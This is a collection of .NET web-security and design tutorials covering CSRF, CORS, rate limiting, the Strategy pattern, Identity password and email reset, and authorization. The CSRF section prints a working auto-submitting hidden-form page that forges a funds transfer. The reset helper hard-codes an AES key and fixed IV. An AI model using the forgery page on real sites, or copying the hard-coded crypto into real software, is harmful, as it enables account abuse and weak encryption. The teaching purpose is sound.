Cross-Site Request Forgery (CSRF), also known as XSRF or session riding, is a web security vulnerability where a malicious website tricks a user into performing unintended actions on a trusted site where they're authenticated. This occurs because browsers automatically include authentication tokens, like cookies, with every request to a website.

Scenario: imagine a banking application that allows users to transfer funds by visiting a URL like:

https://your-vulnerable-bank.example.com/transfer

Attack steps:

Crafting the Malicious Request - the attacker creates a hidden form on a malicious website that submits a request to the banking application:

<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack Example</title>
</head>
<body>
  <h1>Congratulations! You're a Winner! (Don't believe this)</h1>

  <form id="csrf-form" action="https://your-vulnerable-bank.example.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker_account" />  
    <input type="hidden" name="amount" value="1000" />       
  </form>

  <script>
    // This script would automatically submit the form.  In a real attack,
    // this would likely be hidden or obfuscated.
    window.onload = function() {
      document.getElementById("csrf-form").submit();
    };
  </script>

</body>
</html>

JavaScript code automatically submits the form upon page load, requiring no user interaction beyond visiting the malicious site. Hidden fields within the form contain the attacker's account and the transfer amount, concealing the transaction from the user
The request will automatically proceed if the user has previously logged in and has the session cookie saved

Mitigation strategies

Never use GET requests to modify data or server state - GET requests that change data or server state are inherently insecure and vulnerable to CSRF attacks. A malicious site can easily trigger these GET requests, even by using a simple image tag, without any user interaction beyond visiting the malicious site. Because browsers automatically include authentication cookies with these requests, the server might unknowingly execute the unintended action
Setting the cookie with the SameSite=Lax attribute - allows the browser to send the cookie with top-level navigations initiated from external sites, such as when a user clicks on a link to your site from another domain. However, the browser will not send the cookie with subresourcerequests like imagesor iframes. This behavior helps prevent attackers from forging potential malicious POST requests. As long as your GET requests do not alter the server state, this approach should be sufficiently secure.
User reauthentication for sensitive actions - this approach ensures that even if an attacker tricks a user into initiating a request, the sensitive action won't be completed without explicit user confirmation
Use token based authorization - modern web applications often use token-based authentication (like Bearer tokens stored in local storage) which are less susceptible to CSRF attacks than traditional cookie-based authentication. However, even with token-based authentication, care must be taken to prevent other vulnerabilities like XXS, which could allow attackers to steal the token from local storage
Use antiforgery tokens - if you have a web API that uses cookie based authentication consider using antiforgery tokens. These tokes are handled differently in traditional and modern web applications. Traditional apps use hidden form fields, while modern JavaScript apps and SPAs often use AJAX and thus require different methods like request headers or cookies. Storing authentication tokens in cookies creates a CSRF vulnerability. Local storage is a safer alternative because its contents aren't automatically sent with every request. The best practice for SPAs is to store the antiforgery token in local storage and include it as a custom request header in AJAX requests

Example implementation: Let's say you have the following scenario. You need to apply anti-forgery protection to the PayTax method below. First, you need to expose an endpoint to your client application (this can also be done during user login) that generates an X-CSRF-TOKEN, which is then added to the response headers and stored locally by the client's browser.

namespace DemoBackend.Controllers
{
    [Route("api/[controller]")]
    [ApiController]
    public class TestSecurityController(IAntiforgery antiforgery) : ControllerBase
    {
        [HttpGet]
        [Route("antiforgery-token")]
        public IActionResult GetAntiForgeryToken()
        {
            var tokens = antiforgery.GetAndStoreTokens(HttpContext);

            Response.Headers.Add("X-CSRF-TOKEN", tokens.RequestToken!);

            return Ok();
        }

        [HttpPost]
        [Route("pay-tax")]
        public async Task<IActionResult> PayTax([FromBody] PayTaxRequest request)
        {
            try
            {
               await antiforgery.ValidateRequestAsync(HttpContext);

                // Your action logic here
                return Ok("Tax payed successfully");

            }
            catch (Exception ex)
            {
                return BadRequest(ex.Message);
            }
        }
    }

    public record PayTaxRequest
    {
        public string Name { get; init; }
        public double Amount { get; init; }
    }
}

Based on the configuration set inside AddAntiforgery, the client app will need to include the X-CSRF-TOKEN as a request header when calling the PayTax method.

services.AddAntiforgery(options =>
{
    options.HeaderName = "X-CSRF-TOKEN"; // Set the header name for the CSRF token
});

More information on this topic can be found here.

Cross-Origin Resource Sharing (CORS)

CORS is an HTTP-header based mechanism that allows a server to specify origins (domain, scheme, or port) other than its own from which a browser is permitted to load resources. When a web application makes a cross-origin HTTP request that is not a simple request, the browser performs a "preflight" request before the actual request. This preflight request, which uses the HTTP OPTIONS method, checks whether the server permits the actual request. The browser sends headers indicating the HTTP method and headers that will be used in the actual request. This grants our server the flexibility to permit access to resources only if the request originates from a trusted source.

See the following article for reference.

Applying CORS policies in .NET

This can be easily configured as follows:

services.AddCors(options =>
{
    options.AddDefaultPolicy(
        policy =>
        {
            policy.WithOrigins("http://example.com", "http://www.contoso.com");
            policy.WithMethods(["POST", "GET", "DELETE", "PUT", "PATCH", "OPTIONS"]);
            policy.WithHeaders(["Content-Type", "Accept", "Authorization"]); ;
        });
});

The code above configures CORS in an ASP.NET Core application. It establishes a default policy that permits HTTP requests from the specified origins — http://example.com and http://www.contoso.com. The policy allows HTTP methods such as POST, GET, DELETE, PUT, PATCH, and OPTIONS, and permits headers including Content-Type, Accept, and Authorization

Don't forget to add the following middleware as well. Be careful to add the middlewares in the correct order:

app.UseCors();

Denial of Service (DoS)

The intent of a DoS attack isn't to compromise a system or server; its sole intent is to make the system unusable for other users. This is typically achieved by flooding traffic to a resource until the server's resources are exhausted. These attacks are rarely carried out from a single IP address because it can be easily blacklisted. They are usually launched from multiple coordinated resources — hence the name Distributed DoS (DDoS), often executed through a botnet controlled by the attacker.

There are various types of DoS attacks, usually targeting all levels of the network stack, such as ICMP attacks, TCP attacks, and more. However, I will focus only on application-layer attacks.

Mitigation Strategies

Firewall Rules – this is the simplest way to secure your server. You can implement access control rules at various levels of the network layer. These rules can be set at the server level or, if using a cloud provider, at the provider level
Rate Limiting – this can be implemented at the web server level or within the API. As a proponent of the defense-in-depth strategy, I recommend setting rate limiting in both places. However, bear in mind that .NET rate limiting runs in memory so this might be an issue for memory intensive applications

Rate limiting in Nginx:

http {
    # Define a shared memory zone for rate limiting
    limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=1r/s;

    server {
        # Apply rate limiting to all requests
        limit_req zone=req_limit_per_ip burst=5;

        # Proxy requests to the .NET API
        location / {
            proxy_pass http://your_dotnet_api_backend;
            # Other proxy configurations...
        }
    }
}

Rate limiting in a .NET API:

services.AddRateLimiter(options =>
{
    options.RejectionStatusCode = StatusCodes.Status429TooManyRequests;
    options.AddFixedWindowLimiter("fixed", options =>
    {
        options.PermitLimit = 100; // Allow 100 requests
        options.Window = TimeSpan.FromSeconds(60); // a minute window
        options.QueueProcessingOrder = QueueProcessingOrder.OldestFirst;
        options.QueueLimit = 0; // No queueing; reject excess requests
    });
});

app.UseRateLimiter();

Add the attribute to the controller/method that you apply rate liming to:

[HttpGet]
[Route("account-balance")]
[EnableRateLimiting("fixed")]
public IActionResult GetAccountBalance() => Ok("Total balance is 100");

Building for Scale – This is especially important for larger projects. You can protect your services from DoS attacks by being prepared to handle significant surges in traffic. Some approaches that can help include offloading static content, caching database queries, using asynchronous processing (such as event brokers), and deploying across multiple web services. This can be easily achieved if your application is deployed, for example, to a managed Kubernetes service from a major cloud provider, which can spin up resources and distribute the load relatively effortlessly during busy periods

Encryption and HTTPS

Encryption is mandatory for sensitive data. Some best practices include:

Passwords and other private user data should be encrypted when stored in the database
I also prefer encrypting everything sent to users via private email, such as password and email reset tokens embedded in site URLs. You can find an example of this in the following article
Encryption algorithms constantly evolve. Ensure you're using the latest and most secure ones, as older algorithms may have vulnerabilities.

You can't talk about encryption on the web without mentioning HTTPS. Your web server must use HTTPS because, with HTTP, all in-transit data can be intercepted.

To configure HTTPS on a web service, obtain an SSL/TLS certificate from a trusted Certificate Authority (CA) or generate a self-signed certificate. Install the certificate on your web server and configure it to use HTTPS, updating the server configuration file to include the certificate and private key. Ensure port 443 is open in the firewall and configure any necessary redirects from HTTP to HTTPS.

Here is a great article on how to configure Nginx server with HTTPS.

Third Party Dependencies

Third-party libraries make our lives much easier, but they can also be a source of vulnerabilities that we don't control. We need to be very careful about which libraries we use. Here are some best practices when working with third-party dependencies:

Use the Latest Versions - each language has a package management tool that can help you inspect the dependency tree and update dependencies to the latest versions. Keeping libraries up to date ensures you get the latest security patches
Monitor Vulnerabilities - use tools like GitHub Dependabot to monitor vulnerabilities in third-party dependencies. Dependabot will notify you by email if any vulnerabilities are found in the dependencies you’re using
Easily Deploy Patches - your build and deployment processes should be scripted and automated. This ensures that updates and patches can be quickly applied without manual intervention, helping to maintain security with minimal disruption. For instance, I love using Git Actions for my my personal projects
Secure External Services - if you're integrating third-party services (such as Google or Meta logins) into your API, ensure those services are also secured. Safeguard API keys, and if you're using webhooks, ensure they are secured. This can be done by having the third party send credentials or by validating requests from the service with a confirmation before processing
Operating System and Database Vulnerabilities - ensure that you can easily deploy security patches for your OS and database. If you're using a cloud service for IaaS, this will typically be handled automatically. However, if you're running your own server, patching can be more cumbersome, so it's essential to have a process in place to quickly deploy patches as soon as they're available

Conclusions

Security is a broad topic, and this article only scratches the surface of how to secure a web API. As web developers, it is our responsibility to stay informed about the latest security developments and earn the trust of our users.

We don’t need to reinvent the wheel; we simply need to adhere to common security principles and always keep security in mind while developing. Concepts like the principle of least privilege and defense in depth can help mitigate many issues from the very beginning of the development process. Writing code with a security mindset, keeping our secrets secure, and using the latest versions of third-party libraries are all within our control. Let’s make security a priority, just as we do with performance and coding standards.

Thank you for reading!

Other References

Web Security For Developers by Malcom McDonald

Improving Code Flexibility with Strategy Pattern and Dependency Injection in .NET

Marian Salvan — Fri, 07 Feb 2025 05:35:45 +0000

Problem statement

Not sure about you, but many times when I had to implement different algorithms depending on specific input I ended up with ugly switch statements that made my code bloated and, in some cases, difficult to understand.

Practical example

Let's say that I need to create a Calculate API method that takes two double numbers and an operation type as input, then applies that operation to the two numbers.

In code this would look something like this:

Get method that implements the logic above (I am using minimal APIs to illustrate this)

app.MapGet("/calculate", ([FromQuery] double a, [FromQuery] double b, [FromQuery] string op) =>
{
   try
   {
       if (!Enum.TryParse<OperationType>(op, true, out var operationType))
       {
           return Results.BadRequest("Invalid operation");
       }
 
       return operationType switch
       {
           OperationType.ADDITION => Results.Ok(a + b),
           OperationType.SUBSTRACTION => Results.Ok(a - b),
           OperationType.MULTIPLICATION => Results.Ok(a * b),
           OperationType.DIVISION => b == 0 ? Results.BadRequest("Division by zero") : Results.Ok(a / b),
           _ => Results.BadRequest("Invalid operation type"),
       };
   }
   catch (Exception)
   {
       return Results.InternalServerError("Calculation error");
   }
})
.WithName("Calculate");

OperationType enum

public enum OperationType
{
    ADDITION,
    SUBSTRACTION,
    MULTIPLICATION,
    DIVISION
}

This doesn't look too bad, but imagine if the algorithms you need to implement were much more complex than a simple addition. Of course, you could move the code to separate classes, but the switch statement would still remain.

Proposed solution

This kind of problem can be easily solved using the Strategy Pattern, and this is no secret. However, we can leverage the power of dependency injection to implement this pattern in a very elegant way.

Here's how this can be done:

Step 1 - Create an `ICalculationStrategy` interface

Notice that the strategy interface also contains the OperationType — this will be used to identify the correct strategy for each case.

namespace DemoTechniques.Strategies
{
    public interface ICalculationStrategy
    {
        public OperationType OperationType { get; }
        public double Calculate(double a, double b);
    }
}

Step 2 - Create the concrete strategies

namespace DemoTechniques.Strategies
{
    public class AdditionCalculationStrategy : ICalculationStrategy
    {
        public OperationType OperationType => OperationType.ADDITION;

        public double Calculate(double a, double b) => a + b;
    }

    public class SubstractionCalculationStrategy : ICalculationStrategy
    {
        public OperationType OperationType => OperationType.SUBSTRACTION;

        public double Calculate(double a, double b) => a - b;
    }

    public class MultiplicationCalculationStrategy : ICalculationStrategy
    {
        public OperationType OperationType => OperationType.MULTIPLICATION;

        public double Calculate(double a, double b) => a * b;
    }

    public class DivisionCalculationStrategy : ICalculationStrategy
    {
        public OperationType OperationType => OperationType.DIVISION;

        public double Calculate(double a, double b)
        {
            if (b == 0)
            {
                throw new ArgumentException("Cannot divide by zero", nameof(b));
            }

            return a / b;
        }
    }
}

Step 3 - Register the strategies inside the DI container

Now that we have all the strategies, we can injected them inside the DI container, like this:

var builder = WebApplication.CreateBuilder(args);

//other services

builder.Services
    .AddTransient<ICalculationStrategy, AdditionCalculationStrategy>()
    .AddTransient<ICalculationStrategy, SubstractionCalculationStrategy>()
    .AddTransient<ICalculationStrategy, MultiplicationCalculationStrategy>()
    .AddTransient<ICalculationStrategy, DivisionCalculationStrategy>();

Step 4 - Apply the strategies inside the `Calculate` method

These services can be injected into the method, and OperationType can be used to identify the correct calculation service based on the user input. This allows us to eliminate the switch statement and delegate the responsibility of identifying the correct service to the DI container.

The Calculate method can be refactored like this:

app.MapGet("/calculate", ([FromQuery] double a, [FromQuery] double b, [FromQuery] string op,
    [FromServices] IEnumerable<ICalculationStrategy> calculationStrategies) =>
{
    try
    {
        if (!Enum.TryParse<OperationType>(op, true, out var operationType))
        {
            return Results.BadRequest("Invalid operation");
        }

        var calculationStrategy = calculationStrategies
            .FirstOrDefault(s => s.OperationType == operationType);

        if (calculationStrategy is null)
        {
            return Results.BadRequest("Invalid operation type");
        }

        return Results.Ok(calculationStrategy.Calculate(a, b));
    }
    catch (Exception)
    {
        return Results.InternalServerError("Calculation error");
    }
})
.WithName("Calculate");

Bonus tip

If you are using a controller or any other service, you can create a dictionary from the IEnumerable<ICalculationStrategy> inside the constructor and then use this dictionary to quickly lookup the correct strategy throughout your controller/service methods.

Example implementation:

using Microsoft.AspNetCore.Mvc;
using System;
using System.Collections.Generic;
using System.Linq;

[ApiController]
[Route("api/[controller]")]
public class CalculatorController : ControllerBase
{
    private readonly Dictionary<OperationType, ICalculationStrategy> _strategyDictionary;

    public CalculatorController(IEnumerable<ICalculationStrategy> calculationStrategies)
    {
        // Create a dictionary for quick lookup
        _strategyDictionary = calculationStrategies.ToDictionary(s => s.OperationType, s => s);
    }

    [HttpGet("calculate")]
    public IActionResult Calculate([FromQuery] double a, [FromQuery] double b, [FromQuery] string op)
    {
        try
        {
            if (!Enum.TryParse<OperationType>(op, true, out var operationType))
            {
                return BadRequest("Invalid operation");
            }

            if (!_strategyDictionary.TryGetValue(operationType, out var calculationStrategy))
            {
                return BadRequest("Invalid operation type");
            }

            return Ok(calculationStrategy.Calculate(a, b));
        }
        catch (Exception)
        {
            return StatusCode(500, "Calculation error");
        }
    }
}

Conclusions

In this brief article, we tackled the problem of bloated switch statements for algorithm selection based on user input. We introduced the Strategy Pattern, a solution that helps decouple the logic, making the code cleaner and more maintainable. By combining this pattern with Dependency Injection, we effectively eliminate the switch statement, delegating the responsibility of choosing the correct strategy to the DI container.

This approach aligns with SOLID principles, particularly the Open/Closed Principle (allowing easy addition of new operations without modifying existing code) and the Dependency Inversion Principle (relying on abstractions rather than concrete implementations). By using a dictionary for quick lookup of strategies, the design becomes even more modular and scalable.

Account Email and Password Change using .NET Identity

Marian Salvan — Wed, 05 Feb 2025 05:00:00 +0000

Introduction

In the previous session, we demonstrated how to implement the three types of authorization. Now, we will extend the demo application by adding password and email change functionality.

This will be the final part of the series, where we will illustrate how to leverage .NET Core Identity's APIs to: generate password change and email change tokens and securely update the user’s email and password using these tokens.

Contents of this guide:

Initial setup
Reseting the account password
Reseting the account email

Initial setup

To implement these two features, we need a way to send an email containing the appropriate reset password or email change link. While this is beyond the scope of this tutorial, you can find a simple email sender service implementation in one of my other posts.

To creat such a link we need the following configuration:

Step 1 - add the client base url to `appsetings.json` and/or `docker compose`file

{
 //other settings 
 "Client": {
    "ClientUrl": "https://www.my-awesome-webapp.com/"
  }
}

#api configuration
environment:
  - Client__ClientUrl=https://www.my-awesome-webapp.com/

Step 2 - create the `ClientSettings` record

namespace DemoBackend.Configuration
{
    public record ClientSettings
    {
        public required string ClientUrl { get; init; }
    }
}

Step 3 - register the settings in `Project.cs` file

builder.Services.Configure<ClientSettings>(builder.Configuration.GetSection("Client"));

Step 4 - register the client configurations

Inject the ClientSettings configuration inside the UserManagementController:

namespace DemoBackend.Controllers
{
    [Route("api/[controller]")]
    [ApiController]
    public class UserManagementController : ControllerBase
    {
        private readonly UserManager<UserEntity> _userManager;
        private readonly AuthenticationSettings _authSettings;
        private readonly ClientSettings _clientSettings;
        private readonly ITokensRepository _tokensRepository;

        public UserManagementController(UserManager<UserEntity> userManager, IOptions<AuthenticationSettings> authSettings,
           IOptions<ClientSettings> clientSettings, ITokensRepository tokensRepository)
        {
            _userManager = userManager;
            _authSettings = authSettings.Value;
            _clientSettings = clientSettings.Value;
            _tokensRepository = tokensRepository;
        }

    //omitted for brevity
    }
}

Step 4 - `EncryptionHelper`

If we want to securely send the link we will need to encrypt the generated tokes. The following helper contains the methods to encrypt and decrypt a string:

using System.Security.Cryptography;
using System.Text;

namespace DemoBackend.Helpers
{
    public static class EncryptionHelper
    {
        private static readonly string Bas64EncryptionKey = "I3PKTwfP1UkX4BOOBnifO/Ye6YEa7E0tDkp4QSQpRD4="; // Use a secure key
        private static readonly string Base64EncryptionIV = "VU/3R0D9fZtvKf9zr6mNZw=="; // Use a secure key

        public static string Encrypt(string plainText)
        {
            byte[] plainBytes = Encoding.UTF8.GetBytes(plainText);

            using Aes aes = Aes.Create();
            aes.Key = Convert.FromBase64String(Bas64EncryptionKey);
            aes.IV = Convert.FromBase64String(Base64EncryptionIV);

            using MemoryStream ms = new();
            using (CryptoStream cs = new(ms, aes.CreateEncryptor(), CryptoStreamMode.Write))
            {
                cs.Write(plainBytes, 0, plainBytes.Length);
                cs.Close();
            }
            return Convert.ToBase64String(ms.ToArray());
        }

        public static string Decrypt(string encryptedText)
        {
            byte[] encryptedBytes = Convert.FromBase64String(encryptedText);
            using Aes aes = Aes.Create();
            aes.Key = Convert.FromBase64String(Bas64EncryptionKey);
            aes.IV = Convert.FromBase64String(Base64EncryptionIV);

            using MemoryStream ms = new();
            using (CryptoStream cs = new(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
            {
                cs.Write(encryptedBytes, 0, encryptedBytes.Length);
                cs.Close();
            }

            return Encoding.UTF8.GetString(ms.ToArray());
        }
    }
}

Please note that the encryption keys should be stored in a secrets management system. However, for the sake of the demo we have placed them inside the helper.

Reseting the account password

For this workflow, we need two methods:

an unauthorized method to generate and send an email with the reset password link (which includes the encrypted reset password token) to the user
another unauthorized method that will be called by the client app to accept the reset token and the new password set by the user

Step 1 - `SendResetPasswordNotification` method

Note: Since this is an unauthorized email, we also need to embed the user ID so that we can validate the user in the ResetPassword method. This can be achieved by concatenating the token and user ID using the | character, and then encrypting the resulting string.

namespace DemoBackend.Requests
{
    public record ResetPasswordNotificationRequest
    {
        public required string Email { get; set; }
    }
}

[HttpPost("send-reset-password-notification")]
public async Task<IActionResult> SendResetPasswordNotification([FromBody] ResetPasswordNotificationRequest resetPasswordEmailRequest)
{
    try
    {
        var user = await _userManager.FindByEmailAsync(resetPasswordEmailRequest.Email);
        if (user?.Email is null)
        {
            return BadRequest("User with this email not found.");
        }

        var passwordResetToken = await _userManager.GeneratePasswordResetTokenAsync(user);
        if (string.IsNullOrWhiteSpace(passwordResetToken))
        {
            return StatusCode(500, $"Internal server error");
        }

        var combinedToken = $"{passwordResetToken}|{user.Id}";
        var encryptedToken = EncryptionHelper.Encrypt(combinedToken);

        //create the reset password url
        var resetPasswordUrl = $"{_clientSettings.ClientUrl}reset-password?token={encryptedToken}";

        //send email with the reset password link

        //encrypted token should only be sent by email, this is just for testing purposes
        return Ok(encryptedToken);
    } 
    catch (Exception ex)
    {
        return StatusCode(500, $"Internal server error: {ex.Message}");
    }
}

Step 2 - `ResetPassword` method

Note: We will decrypt the token, split the reset password token from the user ID, and then use both values in the ResetPassword method below.

namespace DemoBackend.Requests
{
    public record ResetPasswordRequest
    {
        public required string NewPassword { get; set; }
        public required string Token { get; set; }
    }
}

[HttpPost("reset-password")]
public async Task<IActionResult> ResetPassword([FromBody] ResetPasswordRequest resetPasswordRequest)
{
    try
    {
        var decryptedToken = EncryptionHelper.Decrypt(resetPasswordRequest.Token);
        var tokenParts = decryptedToken.Split('|');
        if (tokenParts.Length != 2)
        {
            return BadRequest("Invalid token.");
        }

        var passwordResetToken = tokenParts[0];
        var userId = tokenParts[1];

        var user = await _userManager.FindByIdAsync(userId);

        if (user == null)
        {
            return BadRequest("User with this email not found.");
        }

        var result = await _userManager.ResetPasswordAsync(user, passwordResetToken,
            resetPasswordRequest.NewPassword);

        return result.Succeeded ? Ok("Password reset successfully.") : BadRequest("Password reset failed.");
    }
    catch (Exception ex)
    {
        return StatusCode(500, $"Internal server error: {ex.Message}");
    }
}

Step 3 - Testing

Send the password email:

curl --location 'http://localhost:8080/api/usermanagement/send-reset-password-notification' \
--header 'Content-Type: application/json' \
--data-raw '{
    "email": "testuser1@example.com"
}'

Example link received:

https://www.my-awesome-webapp.com/reset-password?token=rIiPoR5qRfrM0d4Q8TX6ysnMHTtvLk1eo1tjaMSUk3rXvZwI+vqCiG/kevg/SLHtoCRX+5cd0Y4v6vQARkb4Q5pUhwwUGf+Jn2SsaC4DttccPv9kKRThuwHxUkEQuiVAI/KlYDuxT8MhpAcY5mr10p0NTj4P6vXUoL1KxLNGU0t6gWDspLogdYoZ214oI5IQqhH2WrzLuHq52cUwyJY0KhGDknR3eFYfOB3gpJYXhIXLU0V8p+29+zw2aghjkMDBPiaJO1MUM4TyHTOwhKPOv5FnI4fW3d/ScXxq7tFdG4E4gWiRsGZ8Zr6HrOGKxz6/oyLGJsBEDbHrtfkuT24+rWmQkKrOYys2Y5CY3hiM9YdwqlTzSZtyvTBV3mK+khG9

Send a change password request using the token received by email:

//reset-password
curl --location 'http://localhost:8080/api/usermanagement/reset-password' \
--header 'Content-Type: application/json' \
--data '{
   "newPassword": "test",
   "token": "rIiPoR5qRfrM0d4Q8TX6ysnMHTtvLk1eo1tjaMSUk3rXvZwI+vqCiG/kevg/SLHtoCRX+5cd0Y4v6vQARkb4Q5pUhwwUGf+Jn2SsaC4DttccPv9kKRThuwHxUkEQuiVAI/KlYDuxT8MhpAcY5mr10p0NTj4P6vXUoL1KxLNGU0t6gWDspLogdYoZ214oI5IQqhH2WrzLuHq52cUwyJY0KhGDknR3eFYfOB3gpJYXhIXLU0V8p+29+zw2aghjkMDBPiaJO1MUM4TyHTOwhKPOv5FnI4fW3d/ScXxq7tFdG4E4gWiRsGZ8Zr6HrOGKxz6/oyLGJsBEDbHrtfkuT24+rWmQkKrOYys2Y5CY3hiM9YdwqlTzSZtyvTBV3mK+khG9"
}'

Reseting the account email

For this workflow, we need two methods:

an authorized method to generate and send an email with the reset email link(which includes the encrypted email reset token) to the user
another authorized method that will be called by the client app to accept the reset token and the new email set by the user

Step 1 - `SendResetEmailNotification` method

namespace DemoBackend.Requests
{
    public record ResetEmailNotificationRequest
    {
        public required string NewEmail { get; set; }
    }
}

[Authorize]
[HttpPost("send-reset-email-notification")]
public async Task<IActionResult> SendResetEmailNotification([FromBody] ResetEmailNotificationRequest resetEmailNotificationRequest)
{
    try
    {
        var id = HttpContext.User.FindFirstValue(ApplicationClaims.Id);
        if (id is null)
        {
            return Unauthorized();
        }

        var user = await _userManager.FindByIdAsync(id);
        if (user is null)
        {
            return Unauthorized();
        }

        //create the reset password url
        var emailToken = await _userManager.GenerateChangeEmailTokenAsync(user, resetEmailNotificationRequest.NewEmail);
        var encryptedToken = EncryptionHelper.Encrypt(emailToken);

        var resetPasswordUrl = $"{_clientSettings.ClientUrl}reset-email?token={encryptedToken}";

        //send email with the reset email link

        //encrypted token should only be sent by email, this is just for testing purposes
        return Ok(encryptedToken);
    }
    catch (Exception ex)
    {
        return StatusCode(500, $"Internal server error: {ex.Message}");
    }
}

Step 2 - `ResetEmail` method

namespace DemoBackend.Requests
{
    public record ResetEmailReqest
    {
        public required string NewEmail { get; set; }
        public required string Token { get; set; }
    }
}

[Authorize]
[HttpPost("reset-email")]
public async Task<IActionResult> ResetEmail([FromBody] ResetEmailReqest resetEmailReqest)
{
    try
    {
        var id = HttpContext.User.FindFirstValue(ApplicationClaims.Id);
        if (id is null)
        {
            return Unauthorized();
        }
        var user = await _userManager.FindByIdAsync(id);
        if (user is null)
        {
            return Unauthorized();
        }

        var decryptedToken = EncryptionHelper.Decrypt(resetEmailReqest.Token);
        var result = await _userManager.ChangeEmailAsync(user, resetEmailReqest.NewEmail, decryptedToken);

        return result.Succeeded ? Ok("Email changed successfully.") : BadRequest("Email change failed.");
    }
    catch (Exception ex)
    {
        return StatusCode(500, $"Internal server error: {ex.Message}");
    }
}

Step 3 - Testing

Log in with test user. You will need the access token for calling the email reset methods
Send the email reset email:

curl --location 'http://localhost:8080/api/usermanagement/send-reset-email-notification' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJmYzAwYzkxMy0zYTk3LTRlYmQtYjQ2ZC1hNTQ0MjIwZjkwMjUiLCJ1c2VyRW1haWwiOiJ0ZXN0dXNlcjFAZXhhbXBsZS5jb20iLCJ1c2VyQWdlIjoiMTYiLCJ1c2VyUm9sZSI6IlVTRVIiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOiJVU0VSIiwianRpIjoiYzNhMDRjYzktZDEzMC00NmJmLWJjZWQtOWZjOTc1ZTc5OGQ0IiwiYWNjZXNzVG9QcmVtaXVtIjoiYWNjZXNzVG9QcmVtaXVtIiwibmJmIjoxNzM4NTY0NjEwLCJleHAiOjE3Mzg1NjgyMTAsImlzcyI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MCIsImF1ZCI6Im15LXdlYi1hcGktY2xpZW50In0._qhwK9u45BASc4OWjx3lg2NJNFJOKT9wU7DO0AXUJ7Q' \
--data-raw '{
    "newEmail": "testuser2@example.com"
}'

Example link received:

https://www.my-awesome-webapp.com/reset-email?token=rIiPoR5qRfrM0d4Q8TX6yldzAGtx83D+3b1H7MQvcOtlnxFhHL6wYVg2kveG+UXZqQDnStJHxaYm4fx/JSnR5SK2DMimtcbZyeLlBCa7cTcQflNG5QmzJzTDQjwnaijF+K1vWuc2+oI5BJz3bnH0GGBa8Kfjxyc/WxzVGMP/3F18K3qE5pOV4kMtSUztr+rctPni6e8Edy9oZjZGzwTHkMiB0CRB/bWZdSl7Ex0X+kXutYh0ywVBgff6W/C7FrBWPjkH6PEna5k3HSuWOaqRaiOHxL09Y4P5cMJ6i8wp5OQfMzalt3Ib+65ID28BhVtDQERHL39pPCQVhI+zp9ULDWagHIKP+JaEb+qVphh5y4L5drOua3qHE73hORvjCd0e

Send a change email request using the token received by email:

//reset-password
curl --location 'http://localhost:8080/api/usermanagement/reset-email' \
--header 'Content-Type: application/json' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJmYzAwYzkxMy0zYTk3LTRlYmQtYjQ2ZC1hNTQ0MjIwZjkwMjUiLCJ1c2VyRW1haWwiOiJ0ZXN0dXNlcjFAZXhhbXBsZS5jb20iLCJ1c2VyQWdlIjoiMTYiLCJ1c2VyUm9sZSI6IlVTRVIiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOiJVU0VSIiwianRpIjoiYzNhMDRjYzktZDEzMC00NmJmLWJjZWQtOWZjOTc1ZTc5OGQ0IiwiYWNjZXNzVG9QcmVtaXVtIjoiYWNjZXNzVG9QcmVtaXVtIiwibmJmIjoxNzM4NTY0NjEwLCJleHAiOjE3Mzg1NjgyMTAsImlzcyI6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MCIsImF1ZCI6Im15LXdlYi1hcGktY2xpZW50In0._qhwK9u45BASc4OWjx3lg2NJNFJOKT9wU7DO0AXUJ7Q' \
--data-raw '{
   "newEmail": "testuser2@example.com",
   "token": "rIiPoR5qRfrM0d4Q8TX6yldzAGtx83D+3b1H7MQvcOtlnxFhHL6wYVg2kveG+UXZqQDnStJHxaYm4fx/JSnR5SK2DMimtcbZyeLlBCa7cTcQflNG5QmzJzTDQjwnaijF+K1vWuc2+oI5BJz3bnH0GGBa8Kfjxyc/WxzVGMP/3F18K3qE5pOV4kMtSUztr+rctPni6e8Edy9oZjZGzwTHkMiB0CRB/bWZdSl7Ex0X+kXutYh0ywVBgff6W/C7FrBWPjkH6PEna5k3HSuWOaqRaiOHxL09Y4P5cMJ6i8wp5OQfMzalt3Ib+65ID28BhVtDQERHL39pPCQVhI+zp9ULDWagHIKP+JaEb+qVphh5y4L5drOua3qHE73hORvjCd0e"
}'

Conclusions

In this final session, we have demonstrated how to implement secure reset password and reset email functionalities.

This concludes the series. Throughout this series, we have implemented the basic user management configuration using PostgreSQL, and explored token-based authentication and the various types of authorization.

You can find the code used in this series here. Happy coding!

Authorization using .NET Identity

Marian Salvan — Sun, 02 Feb 2025 07:04:45 +0000

Introduction

In the previous session, we learned how to implement basic token authentication using access tokens and refresh tokens. In this session, we will focus on another crucial aspect of securing a web API: authorization.

Building on our existing application, we will implement the three main authorization techniques: role-based authorization, claims-based authorization and policy-based authorization.

This guide will contain the following sections:

Initial configuration
Role-based authorization
Claims-based authorization
Policy-based authorization

Initial configuration

For this example, we will extend the WeatherForecastController that comes with a new .NET Core web API project. Before implementing each authorization method, please complete the following steps, as we will need them later:

Step 1 - Add a new constant inside the `ApplicationClaims` class

namespace DemoBackend.Constants
{
    public static class ApplicationClaims
    {
        //defined in the previous session
        public const string Id = "userId";
        public const string Email = "userEmail";
        public const string Age = "userAge";
        public const string Role = "userRole";

        //we are going to use this to demonstrate claims-based authorization
        public const string AccessToPremium = "accessToPremium";
    }
}

Step 2 - Add a new static `PoliciesConstants` class

namespace DemoBackend.Constants
{
    public static class UserTokenConstants
    {
        public const string Refresh = "refresh";
        public const string LocalProvider = "local";
    }
}

Step 3 - Register more users for testing

In the previous session, we registered one user with the role USERand age = 25. To properly test authorization, we need to register two more users:

Another user with role USER and age = 16. Here is the curl for this:

